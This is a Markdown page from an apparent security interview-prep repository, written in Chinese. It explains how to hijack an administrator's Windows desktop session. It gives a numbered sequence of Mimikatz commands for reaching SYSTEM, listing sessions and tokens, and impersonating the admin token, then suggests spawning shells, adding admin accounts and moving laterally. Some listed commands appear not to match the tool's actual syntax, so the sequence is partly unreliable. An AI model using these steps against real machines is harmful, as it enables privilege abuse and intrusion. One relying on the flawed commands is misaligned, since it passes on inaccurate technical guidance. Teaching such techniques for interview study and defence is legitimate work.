Files
Sec-Interview/Chapter15/15-14.md
T
2025-09-25 03:56:33 +08:00

41 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 桌面有管理员会话,怎么做会话劫持
**步骤一:获取 SYSTEM 权限**
要窃取管理员的令牌,你首先需要获得比该管理员会话更高的权限,通常是 **SYSTEM 权限**
- **方法一:** 如果你当前是以管理员权限运行的,可以尝试直接使用 Mimikatz 的 `token::elevate` 命令,它会尝试提升到 SYSTEM 权限
- **方法二:** 如果当前权限较低,可以通过提权漏洞(如服务权限配置错误、内核漏洞等)来提升到 SYSTEM 权限
**步骤二:识别目标进程**
你需要找到一个由管理员账户启动的进程,该进程的令牌是你想要窃取的。通常,你可以通过 `tasklist /v` 命令来查看所有进程及其所属的用户
- **常用目标进程:**
- `explorer.exe`:这是桌面进程,通常由当前登录的用户启动
- `winlogon.exe`:这是一个关键的系统进程,与用户会话和登录相关
- 其他由管理员账户启动的应用程序
**步骤三:窃取并冒用令牌**
一旦你有了 SYSTEM 权限,就可以使用 Mimikatz 来窃取令牌
- **命令:**
1. `mimikatz.exe`
2. `privilege::debug`
3. `token::elevate`
4. `whoami` (此时你应该看到你是 `NT AUTHORITY\SYSTEM`
5. `ts::session` (列出所有会话,找到管理员的会话 ID)
6. `ts::s` + `<会话ID>` (切换到管理员的会话)
7. `token::list` (列出当前会话的所有令牌,找到管理员的令牌)
8. `token::impersonate /p:<进程ID>` (冒充管理员会话的某个进程的令牌)
9. `whoami` (此时你应该看到你已经是管理员用户了)
**步骤四:执行命令**
当你成功冒充管理员身份后,你就可以执行任何管理员权限的命令,例如:
- `shell powershell`
- `shell cmd.exe`
- 创建新的管理员账户
- 执行横向渗透命令(如 `PsExec``WMI`